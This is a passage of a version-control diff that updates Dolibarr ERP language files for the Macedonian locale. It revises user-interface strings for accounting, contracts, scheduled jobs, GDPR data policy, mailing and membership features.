+ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +220,8 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +230,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=By year NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -258,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Group of account PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +290,32 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +331,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +342,15 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -386,7 +406,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -394,6 +414,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +446,11 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/mk_MK/contracts.lang b/htdocs/langs/mk_MK/contracts.lang index e5923c5019a..cf3e60cc4e4 100644 --- a/htdocs/langs/mk_MK/contracts.lang +++ b/htdocs/langs/mk_MK/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Договори / Претплати ContractsAndLine=Договори и линии на договори Contract=Договор ContractLine=Линија на Договор +ContractLines=Contract lines Closing=Затворање NoContracts=Нема Договори MenuServices=Услуги @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Дали сте сигурни дека сакате MoveToAnotherContract=Преместете ја услугата во друг договор. ConfirmMoveToAnotherContract=Избрав нов договор и потврдувам дека сакам да ја префрлам оваа услуга во овој договор. ConfirmMoveToAnotherContractQuestion=Изберете во кој постоечки договор (од истата трета страна) сакате да ја преместите оваа услуга? -PaymentRenewContractId=Обнови договорна линија (број %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Дата на истекување NoExpiredServices=Нема истечени активни услуги ListOfServicesToExpireWithDuration=Листа на услуги што ќе истечат за %s дена @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Контакт на клиент за HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/mk_MK/cron.lang b/htdocs/langs/mk_MK/cron.lang index 2e379333f80..55e7f474b35 100644 --- a/htdocs/langs/mk_MK/cron.lang +++ b/htdocs/langs/mk_MK/cron.lang @@ -26,7 +26,7 @@ CronCommand=Command CronList=Scheduled jobs CronDelete=Delete scheduled jobs CronConfirmDelete=Are you sure you want to delete these scheduled jobs ? -CronExecute=Launch scheduled job +CronExecute=Launch now CronConfirmExecute=Are you sure you want to execute these scheduled jobs now ? CronInfo=Scheduled job module allows to schedule jobs to execute them automatically. Jobs can also be started manually. CronTask=Job @@ -58,7 +58,7 @@ CronNote=Comment CronFieldMandatory=Fields %s is mandatory CronErrEndDateStartDt=End date cannot be before start date StatusAtInstall=Status at module installation -CronStatusActiveBtn=Schedule +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Disable CronTaskInactive=This job is disabled (not scheduled) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Go into menu "Home - Admin tools - JobDisabled=Job disabled MakeLocalDatabaseDumpShort=Local database backup MakeLocalDatabaseDump=Create a local database dump. Parameters are: compression ('gz' or 'bz' or 'none'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' or filename to build, number of backup files to keep +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Attention, for performance purpose, whatever is next date of execution of enabled jobs, your jobs may be delayed to a maximum of %s hours, before being run. DATAPOLICYJob=Data cleaner and anonymizer JobXMustBeEnabled=Job %s must be enabled +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Last executed scheduled job NextScheduledJobExecute=Next scheduled job to execute NumberScheduledJobError=Number of scheduled jobs in error +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/mk_MK/datapolicy.lang b/htdocs/langs/mk_MK/datapolicy.lang new file mode 100644 index 00000000000..a73d94231fb --- /dev/null +++ b/htdocs/langs/mk_MK/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Член +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/mk_MK/dict.lang b/htdocs/langs/mk_MK/dict.lang index ec315d97142..00ab5a05f24 100644 --- a/htdocs/langs/mk_MK/dict.lang +++ b/htdocs/langs/mk_MK/dict.lang @@ -21,7 +21,7 @@ CountryNL=Netherlands CountryHU=Hungary CountryRU=Russia CountrySE=Sweden -CountryCI=Ivoiry Coast +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentina CountryCM=Cameroon @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Mrs. +CivilityMMEShort=Mrs. CivilityMR=Mr. +CivilityMRShort=Mr. CivilityMLE=Ms. CivilityMTRE=Master CivilityDR=Doctor diff --git a/htdocs/langs/mk_MK/mailmanspip.lang b/htdocs/langs/mk_MK/mailmanspip.lang index bab4b3576b4..6ff3ac9f770 100644 --- a/htdocs/langs/mk_MK/mailmanspip.lang +++ b/htdocs/langs/mk_MK/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Subscription test was executed successfully MailmanDeletionSuccess=Unsubscription test was executed successfully SynchroMailManEnabled=A Mailman update will be performed SynchroSpipEnabled=A Spip update will be performed -DescADHERENT_MAILMAN_ADMINPW=Mailman administrator password +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=URL for Mailman subscriptions DescADHERENT_MAILMAN_UNSUB_URL=URL for Mailman unsubscriptions DescADHERENT_MAILMAN_LISTS=List(s) for automatic inscription of new members (separated by a comma) diff --git a/htdocs/langs/mk_MK/mails.lang b/htdocs/langs/mk_MK/mails.lang index a603476af15..93d7ae079ec 100644 --- a/htdocs/langs/mk_MK/mails.lang +++ b/htdocs/langs/mk_MK/mails.lang @@ -7,10 +7,10 @@ MailCard=EMailing card MailRecipients=Recipients MailRecipient=Recipient MailTitle=Description -MailFrom=Sender +MailFrom=From MailErrorsTo=Errors to MailReply=Reply to -MailTo=Receiver(s) +MailTo=To MailToUsers=To user(s) MailCC=Copy to MailToCCUsers=Copy to users(s) @@ -178,3 +178,4 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. diff --git a/htdocs/langs/mk_MK/members.lang b/htdocs/langs/mk_MK/members.lang index 8e702edf0af..0dcfba87555 100644 --- a/htdocs/langs/mk_MK/members.lang +++ b/htdocs/langs/mk_MK/members.lang @@ -15,7 +15,8 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Друг член (име: %s ErrorUserPermissionAllowsToLinksToItselfOnly=Од безбедносни причини, мора да ги имате привилегија за едитирање на сите корисници за тие да можат да линкуваат член до корисник што не е ваш. SetLinkToUser=Врска до корисник на Долибар SetLinkToThirdParty=Врска до трета страна на Долибар -MembersCards=Business cards for members +MemberCountersArePublic=Counters of valid members are public +MembersCards=Generation of cards for members MembersList=Листа на членови MembersListToValid=Список на предлог-членови (што треба да се верификуваат) MembersListValid=Листа на валидни членови @@ -34,8 +35,10 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution -MemberId=ИД на член +WithoutSubscription=Without membership +WaitingSubscription=Membership pending +MemberId=Member Id +MemberRef=Member Ref NewMember=Нов член MemberType=Тип на член MemberTypeId=ИД на тип на член @@ -71,6 +74,12 @@ MemberTypeCanNotBeDeleted=Типот на член не може да се из NewSubscription=Нов придонес NewSubscriptionDesc=This form allows you to record your subscription as a new member of the foundation. If you want to renew your subscription (if already a member), please contact foundation board instead by email %s. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Duration +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Late SubscriptionNotReceived=Contribution never received @@ -135,7 +144,7 @@ CardContent=Content of your member card # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -159,11 +168,11 @@ HTPasswordExport=htpassword file generation NoThirdPartyAssociatedToMember=No third party associated with this member MembersAndSubscriptions=Members and Contributions MoreActions=Complementary action on recording -MoreActionsOnSubscription=Complementary action, suggested by default when recording a contribution +MoreActionsOnSubscription=Complementary action suggested by default when recording a contribution, also done automatially on online payment of a contribution MoreActionBankDirect=Create a direct entry on bank account MoreActionBankViaInvoice=Create an invoice, and a payment on bank account MoreActionInvoiceOnly=Create an invoice with no payment -LinkToGeneratedPages=Generate visit cards +LinkToGeneratedPages=Generation of business cards or address sheets LinkToGeneratedPagesDesc=This screen allows you to generate PDF files with business cards for all your members or a particular member. DocForAllMembersCards=Generate business cards for all members DocForOneMemberCards=Generate business cards for a particular member @@ -198,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Turnover (for a company) or Budget (for a foundation) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Jump on integrated online payment page +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature VATToUseForSubscriptions=VAT rate to use for contributionss @@ -218,3 +229,6 @@ XExternalUserCreated=%s external user(s) created ForceMemberNature=Force member nature (Individual or Corporation) CreateDolibarrLoginDesc=The creation of a user login for members allows them to connect to the application. Depending on the authorizations granted, they will be able, for example, to consult or modify their file themselves. CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. +MemberFirstname=Member firstname +MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/mk_MK/other.lang b/htdocs/langs/mk_MK/other.lang index 49ff93dd589..b7344157bf3 100644 --- a/htdocs/langs/mk_MK/other.lang +++ b/htdocs/langs/mk_MK/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=Customer proposal validated Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Commercial proposal sent by mail Notify_WITHDRAW_TRANSMIT=Transmission withdrawal Notify_WITHDRAW_CREDIT=Credit withdrawal @@ -110,7 +112,7 @@ ChooseYourDemoProfilMore=...or build your own profile
      (manual module selectio DemoFundation=Manage members of a foundation DemoFundation2=Manage members and bank account of a foundation DemoCompanyServiceOnly=Company or freelance selling service only -DemoCompanyShopWithCashDesk=Manage a shop with a cash desk +DemoCompanyShopWithCashDesk=Manage a shop with a cash box DemoCompanyProductAndStocks=Shop selling products with Point Of Sales DemoCompanyManufacturing=Company manufacturing products DemoCompanyAll=Company with multiple activities (all main modules) @@ -181,6 +183,7 @@ SizeUnitfoot=foot SizeUnitpoint=point BugTracker=Bug tracker SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
